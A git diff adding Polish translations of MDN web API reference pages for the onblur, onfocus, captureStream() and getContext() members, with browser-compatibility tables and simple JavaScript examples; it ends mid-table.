+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>animationstart</code>, <code>animationend</code>, <code>animationcancel</code>, <code>animationiteration</code></td>
+ <td>{{CompatGeckoDesktop(51)}}</td>
+ <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+ {{CompatVersionUnknown}} (unprefixed)</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>ongotpointercapture</code>, <code>onlostpointercapture</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatChrome(57.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatOpera(44)}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>onauxclick</code></td>
+ <td>{{CompatGeckoDesktop(53)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>onwheel</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android Webview</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Android</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>ondrag</code>, <code>ondragend</code>, <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragover</code>, <code>ondragstart</code>, <code>ondrop</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile(1.9.1)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>oncanplay</code>, <code>oncanplaythrough</code>, <code>ondurationchange</code>, <code>onemptied</code>, <code>onended</code>, <code>onloadeddata</code>, <code>onloadedmetadata</code>, <code>onloadstart</code>, <code>onpause</code>, <code>onplay</code>, <code>onplaying</code>, <code>onprogress</code>, <code>onratechange</code>, <code>onseeked</code>, <code>onseeking</code>, <code>onstalled</code>, <code>ontimeupdate</code>, <code>onvolumechange</code>, <code>onwaiting</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile(1.9.1)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>onmouseenter</code>, <code>onmouseleave</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile(10)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>onsuspend</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile(1.9.2)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>ondragexit</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>oncancel</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>onclose</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>oncuechange</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>onmousewheel</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>onsort</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>onmozfullscreenchange</code>, <code>onmozfullscreenerror</code> {{non-standard_inline}}</td>
+ <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+ {{CompatVersionUnknown}} (unprefixed)</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+ {{CompatVersionUnknown}} (unprefixed)</td>
+ </tr>
+ <tr>
+ <td><code>onpointerlockchange</code>, <code>onpointerlockerror</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile(10)}}<sup>[1]</sup></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>onpointercancel</code>, <code>onpointerdown</code>, <code>onpointerup</code>, <code>onpointermove</code>, <code>onpointerout</code>, <code>onpointerover</code>, <code>onpointerenter</code>, <code>onpointerleave</code></td>
+ <td>{{CompatChrome(55.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>10</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(55.0)}}</td>
+ </tr>
+ <tr>
+ <td><code>onselectionchange</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile(43)}}<sup>[4]</sup></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>ontouchend</code>, <code>ontouchcancel</code>, <code>ontouchmove</code>, <code>ontouchstart</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>animationstart</code>, <code>animationend</code>, <code>animationcancel</code>, <code>animationiteration</code></td>
+ <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+ {{CompatVersionUnknown}} (unprefixed)</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile(51)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+ {{CompatVersionUnknown}} (unprefixed)</td>
+ </tr>
+ <tr>
+ <td><code>ongotpointercapture</code>, <code>onlostpointercapture</code></td>
+ <td>{{CompatChrome(57.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatOperaMobile(44)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatChrome(57.0)}}</td>
+ </tr>
+ <tr>
+ <td><code>onauxclick</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile(53)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>onwheel</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In Gecko this is implemented as <code>onmozpointerlockchange</code>, <code>onmozpointerlockerror</code>.</p>
+
+<p>[2] In Blink this is implemented as <code>onwebkitpointerlockchange</code>, <code>onwebkitpointerlockerror</code>.</p>
+
+<p>[3] This is implemented behind the <code>dom.w3c_pointer_events.enabled</code> preference, defaulting to <code>false</code>.</p>
+
+<p>[4] This is implemented behind the <code>dom.select_events.enabled</code> preference, that default to <code>false</code>, except on Nightly.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+ <li>{{domxref("EventHandler")}}</li>
+ <li>{{domxref("Event")}}</li>
+</ul>
diff --git a/files/pl/web/api/globaleventhandlers/onblur/index.html b/files/pl/web/api/globaleventhandlers/onblur/index.html
new file mode 100644
index 0000000000..1a1779b37f
--- /dev/null
+++ b/files/pl/web/api/globaleventhandlers/onblur/index.html
@@ -0,0 +1,85 @@
+---
+title: GlobalEventHandlers.onblur
+slug: Web/API/GlobalEventHandlers/onblur
+translation_of: Web/API/GlobalEventHandlers/onblur
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Właściwość <code><strong>onblur</strong></code> należy do Globalnych Uchwytów Zdarzeń ({{domxref("GlobalEventHandlers")}}) i jest Uchwytem Zdarzenia ({{domxref("EventHandler")}}), który służy do obsługi zdarzenia {{event("blur")}}. Jest on dostępny dla następujących elementów: {{domxref("Element")}}, {{domxref("Document")}}, oraz {{domxref("Window")}}.</p>
+
+<p>Zdarzenie <code>blur</code> zachodzi, gdy dany element traci "focus" (np. podczas opuszczenia inputa tekstowego).</p>
+
+<div class="blockIndicator note">
+<p><strong>Notatka:</strong> Przeciwieństwem <code>onblur</code> jest {{domxref("GlobalEventHandlers.onfocus", "onfocus")}}.</p>
+</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><em>cel</em>.onblur = <em>jakasFunkcja</em>();
+</pre>
+
+<h3 id="Wartość">Wartość</h3>
+
+<p><code>jakasFunkcja</code> jest nazwą funkcji albo <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">wyrażeniem funkcji</a>. Jeżeli nie podano argumentu, celowi zostanie przypisana odpowiednia wartość obiektu {{domxref("FocusEvent")}}.</p>
+
+<h2 id="Przykład">Przykład</h2>
+
+<p>Przykład użycia <code>onblur</code> oraz {{domxref("GlobalEventHandlers.onfocus", "onfocus")}} do zmiany tekstu w elemencie {{HtmlElement("input")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="text" value="CLICK HERE"&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">let input = document.querySelector('input');
+
+input.onblur = inputBlur;
+input.onfocus = inputFocus;
+
+function inputBlur() {
+ input.value = 'Focus has been lost';
+}
+
+function inputFocus() {
+ input.value = 'Focus is here';
+}</pre>
+
+<h3 id="Rezultat">Rezultat</h3>
+
+<p>Kliknij na pole, a następnie obok niego i obserwuj jak zmienia się jego zawartość.</p>
+
+<p id="Result">{{EmbedLiveSample('Przykład')}}</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onblur','onblur')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<div class="hidden">Tablica kompatybilności jest na tej stronie generowana z danych strukturalnych. Jeżeli chcesz przyczynić się do rozwoju danych wejdź na <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam zapytanie.</div>
+
+<p>{{Compat("api.GlobalEventHandlers.onblur")}}</p>
+
+<p>W przeciwieństwie do IE, w którym prawie każdy element może otrzymać efekt zdarzenia <code>blur</code>, tylko kilka elementów z tym zdarzeniem, działa na przeglądarkach opartych o silnik Gecko.</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>Zdarzenie {{event("blur")}}</li>
+ <li>Odwrotny uchwyt zdarzenia: {{domxref("GlobalEventHandlers.onfocus")}}</li>
+</ul>
diff --git a/files/pl/web/api/globaleventhandlers/onfocus/index.html b/files/pl/web/api/globaleventhandlers/onfocus/index.html
new file mode 100644
index 0000000000..bd4a30d6b5
--- /dev/null
+++ b/files/pl/web/api/globaleventhandlers/onfocus/index.html
@@ -0,0 +1,87 @@
+---
+title: GlobalEventHandlers.onfocus
+slug: Web/API/GlobalEventHandlers/onfocus
+translation_of: Web/API/GlobalEventHandlers/onfocus
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Właściwość <code><strong>onfocus</strong></code> należy do Globalnych Uchwytów Zdarzeń ({{domxref("GlobalEventHandlers")}}) i jest Uchwytem Zdarzenia ({{domxref("EventHandler")}}), który służy do obsługi zdarzenia {{event("focus")}}.</p>
+
+<p>Zdarzenie <code>focus</code> zachodzi, gdy użytkownik aktywuje element (np. wejdzie w pole tekstowe {{HtmlElement("input")}}).</p>
+
+<p>Dla elementów <code>onfocus</code>, które nie są inputem, należy dodać atrybut {{htmlattrxref("tabindex")}} (przeczytaj <a href="/en-US/docs/Learn/Accessibility/HTML#Building_keyboard_accessibility_back_in">Tworzenie dostępności klawiatury z powrotem</a> po więcej informacji).</p>
+
+<div class="blockIndicator note">
+<p><strong>Notatka:</strong> Przeciwieństwem <code>onfocus</code> jest {{domxref("GlobalEventHandlers.onblur", "onblur")}}.</p>
+</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><em>cel</em>.onfocus = <em>jakasFunkcja</em>;
+</pre>
+
+<h3 id="Wartość">Wartość</h3>
+
+<p><code>jakasFunkcja</code> jest nazwą funkcji lub <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">wyrażeniem funkcji</a>. Jeżeli nie podano argumentu, celowi zostanie przypisana odpowiednia wartość obiektu {{domxref("FocusEvent")}}.</p>
+
+<h2 id="Przykład">Przykład</h2>
+
+<p>Przykład użycia {{domxref("GlobalEventHandlers.onblur", "onblur")}} oraz <code>onfocus</code> do zmiany tekstu w elemencie {{HtmlElement("input")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="text" value="CLICK HERE"&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">let input = document.querySelector('input');
+
+input.onblur = inputBlur;
+input.onfocus = inputFocus;
+
+function inputBlur() {
+ input.value = 'Focus has been lost';
+}
+
+function inputFocus() {
+ input.value = 'Focus is here';
+}</pre>
+
+<h3 id="Result_2">Result</h3>
+
+<p>Kliknij na pole, a następnie obok niego i obserwuj jak zmienia się jego zawartość.</p>
+
+<p id="Result">{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onfocus','onfocus')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<div class="hidden">Tablica kompatybilności jest na tej stronie generowana z danych strukturalnych. Jeżeli chcesz przyczynić się do rozwoju danych wejdź na <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam zapytanie.</div>
+
+<p>{{Compat("api.GlobalEventHandlers.onfocus")}}</p>
+
+<p>W przeciwieństwie do IE, w którym prawie każdy element może otrzymać efekt zdarzenia <code>focus</code> , prawie wszystkie elementy z tym zdarzeniem nie działają na przeglądarkach opartych o silnik Gecko.</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>Zdarzenie {{event("focus")}}</li>
+ <li>Odwrotny uchwyt zdarzenia: {{domxref("GlobalEventHandlers.onblur")}}</li>
+</ul>
diff --git a/files/pl/web/api/htmlcanvaselement/capturestream/index.html b/files/pl/web/api/htmlcanvaselement/capturestream/index.html
new file mode 100644
index 0000000000..19b796017e
--- /dev/null
+++ b/files/pl/web/api/htmlcanvaselement/capturestream/index.html
@@ -0,0 +1,73 @@
+---
+title: HTMLCanvasElement.captureStream()
+slug: Web/API/HTMLCanvasElement/captureStream
+translation_of: Web/API/HTMLCanvasElement/captureStream
+---
+<div>{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}</div>
+
+<div> </div>
+
+<div>Metoda <code><strong>HTMLCanvasElement</strong></code><strong><code>.captureStream()</code></strong> zwraca {{domxref("CanvasCaptureMediaStream")}} który jest wideo w czasie rzeczywistym z powierzchni elementu <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Element/canvas" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;canvas&gt;</code></a>.</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><var>MediaStream</var> = <var>canvas</var>.captureStream(<var>frameRate</var>);
+</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>frameRate</code> {{optional_inline}}</dt>
+ <dd>Liczba zmiennoprzecinkowa podójnej precyzji wskazuje na częstotliwość przechwytywania każdej klatki. W przypadku braku parametru nowa klatka będzie przechwytywana przy każdej zmianie {{HTMLElement("canvas")}}; jeśli ustawiona na <code>0</code>, przechwycona zostanie pojedyńcza klatka.</dd>
+</dl>
+
+<h3 id="Wartość_zwrtona">Wartość zwrtona</h3>
+
+<p>Odniesienie do obiektu {{domxref("MediaStream")}}. </p>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush: js">// Zlokalizuj element canvas do przechwycenia
+var canvasElt = document.querySelector('canvas');
+
+// Rozpocznij stream
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+// Wykonuj na nim czynności
+// Np. Prześlij stream na inny komputer używając RTCPeerConnection
+innyKomputer.addStream(stream);
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Media Capture DOM Elements', '#widl-HTMLCanvasElement-captureStream-CanvasCaptureMediaStream-double-frameRate', 'HTMLCanvasElement.captureStream()')}}</td>
+ <td>{{Spec2('Media Capture DOM Elements')}}</td>
+ <td>Definicja początkowa</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_przeglądarek">Zgodność przeglądarek</h2>
+
+
+
+<p>{{Compat("api.HTMLCanvasElement.captureStream")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{domxref("CanvasCaptureMediaStream")}}, interfejs do którego należy.</li>
+ <li>{{domxref("HTMLMediaElement.captureStream()")}}, pozwala na przechwytywanie stream-u z  elementu HTML.</li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li>{{domxref("Media Capture and Streams API")}}</li>
+</ul>
diff --git a/files/pl/web/api/htmlcanvaselement/getcontext/index.html b/files/pl/web/api/htmlcanvaselement/getcontext/index.html
new file mode 100644
index 0000000000..e60fddc51e
--- /dev/null
+++ b/files/pl/web/api/htmlcanvaselement/getcontext/index.html
@@ -0,0 +1,129 @@
+---
+title: HTMLCanvasElement.getContext()
+slug: Web/API/HTMLCanvasElement/getContext
+translation_of: Web/API/HTMLCanvasElement/getContext
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p class="summary">Metoda <strong><code>HTMLCanvasElement.getContext()</code></strong> zwraca kontekst pola roboczego {{HTMLElement("canvas")}}, lub {{jsxref("null")}} jeśli  identyfikator kontekstu nie jest wspierany.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">var <em>ctx</em> = <em>canvas</em>.getContext(<em>contextType</em>);
+var <em>ctx</em> = <em>canvas</em>.getContext(<em>contextType</em>, <em>contextAttributes</em>);
+</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code><em>contextType</em></code></dt>
+ <dd>Jest nim {{domxref("DOMString")}} zawierający identyfikator kontekstu pola roboczego powiązanego z {{HTMLElement("canvas")}}. Możliwe wartości to:
+ <ul>
+ <li><code>"2d"</code>,  tworzy obiekt {{domxref("CanvasRenderingContext2D")}} reprezentujący dwuwymiarowy kontekst renderowania.</li>
+ <li><code>"webgl"</code> (lub <code>"experimental-webgl"</code>), tworzy obiekt {{domxref("WebGLRenderingContext")}} reprezentujący trójwymiarowy kontekst renderowania. Ten kontekst dostępny jest tylko w przeglądarkach w których zaimplementowana jest wersja 1 WebGL (OpenGL ES 2.0).</li>
+ <li><code>"webgl2"</code> tworzy obiekt {{domxref("WebGL2RenderingContext")}} reprezentujący trójwymiarowy kontekst renderowania. Ten kontekst dostępny jest tylko w przeglądarkach w których zaimplementowana jest wersja 2 WebGL (OpenGL ES 3.0). {{experimental_inline}}</li>
+ <li><code>"bitmaprenderer"</code> tworzy {{domxref("ImageBitmapRenderingContext")}}, który zapewnia możliwość zastąpenia treści {{HTMLElement("canvas")}}  na podaną {{domxref("ImageBitmap")}}.</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Nota</strong>: Identyfikator "<code>experimental-webgl</code>" jest używany przy nowych wdrożeniach WebGL. Wdrożenia te nie uzyskały zgodności z pakietem testowym lub sterowniki graficzne platformy nie są jeszcze stabilne. <a href="https://www.khronos.org/">Grupa Khronos </a>certyfikuje wdrożenia WebGL zgodnie z <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">regułami zgodności</a>.</p>
+ </div>
+ </dd>
+ <dt><code><em>contextAttributes</em></code></dt>
+ <dd>
+ <p>Można użyć kilku własności kontekstu przy tworzeniu kontekstu renderowania, dla przykładu: </p>
+
+ <pre class="brush: js">const gl = canvas.getContext('webgl', {
+ antialias: false,
+ depth: false
+});</pre>
+ </dd>
+ <dd>Własności kontekstu 2d:
+ <ul>
+ <li><strong><code>alpha</code></strong>: Boolean wskazujacy czy canvas zawiera kanał alpha. Jeśli ustawione na <code>false</code>, przeglądarka wie, że tło zawsze jest nieprzeźroczyste, co może przyspieszyć rysowanie przeźroczystych treści i obrazków.  </li>
+ <li>{{non-standard_inline}} (Gecko only) <strong><code>willReadFrequently</code></strong>: Boolean wskazujący czy wiele operacji <code>read-back</code> zostało zaplanowanych. Spowoduje wymuszenie użycia oprogramowania (zamiast przyśpieszenia sprzętowego) 2D canvas i może pomóc w oszczędności pamięci przy częstym wywoływaniu {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}}. Opcja ta jest dostepna tylko jeśli flaga <code>gfx.canvas.willReadFrequently.enable</code> jest ustawiona na <code>true</code> (która, domyślnie, dotyczy tylko B2G/Firefox OS).</li>
+ <li>{{non-standard_inline}} (Blink only) <strong><code>storage</code></strong>: String wskazujacy jaka pamięć jest używana (domyślnie jest to "stała" ).</li>
+ </ul>
+ Własności kontekstu WebGL:
+
+ <ul>
+ <li><strong><code>alpha</code></strong>: Boolean wskazujacy czy canvas zawiera bufor alpha.</li>
+ <li><strong><code>depth</code></strong>: Boolean wskazujący czy bufor rysunku posiada bufor głębi o wartości co przynajmniej 16 bitów.</li>
+ <li><strong><code>stencil</code></strong>: Boolean wskazujący czy bufor rysunku posiada bufor matrycy o wartości przynajmniej 8 bitów. </li>
+ <li><strong><code>antialias</code></strong>: Boolean wskazujący czy używany ma być <code>anti-aliasing.</code></li>
+ <li><strong><code>premultipliedAlpha</code></strong>: Boolean wskazujący czy projektant strony założył, że  bufor rysunku zawiera kolory ze wstepnie pomnożoną alfą.</li>
+ <li><strong><code>preserveDrawingBuffer</code></strong>: Jeśli ustawiona na <code>true</code>, bufory nie zostaną wyczyszczone i zachowają swoje wartości, dopóki nie zostaną wyczyszczone lub nadpisane przez autora.</li>
+ <li><code><strong>failIfMajorPerformanceCaveat</strong></code>: Boolean wskazujący czy kontekst będzie tworzony, jeśli wydajność systemu jest niska.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Wartości_zwrotne">Wartości zwrotne</h3>
+
+<p>{{domxref("RenderingContext")}} jest też</p>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}} dla <code>"2d"</code>,</li>
+ <li>{{domxref("WebGLRenderingContext")}} dla <code>"webgl"</code> i <code>"experimental-webgl"</code>,</li>
+ <li>{{domxref("WebGL2RenderingContext")}} dla <code>"webgl2"</code> lub</li>
+ <li>{{domxref("ImageBitmapRenderingContext")}} dla <code>"bitmaprenderer"</code>.</li>
+</ul>
+
+<p>Jeśli <em><code>contextType</code></em> nie może dopasować możliwych kontekstów rysowania, <code><em>null</em></code> zostanie zwrócony.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>Wykorzystując element {{HTMLElement("canvas")}}:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>Kontekst <code>2d</code> uzyskać można za pomocą kodu: </p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+console.log(ctx); // CanvasRenderingContext2D { ... }
+</pre>
+
+<p>Tworzy to <a href="/en-US/docs/Web/API/CanvasRenderingContext2D">kontekst renderowania 2D</a>, po którym można rysować.</p>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Brak zmian od ostatniego snapshota, {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
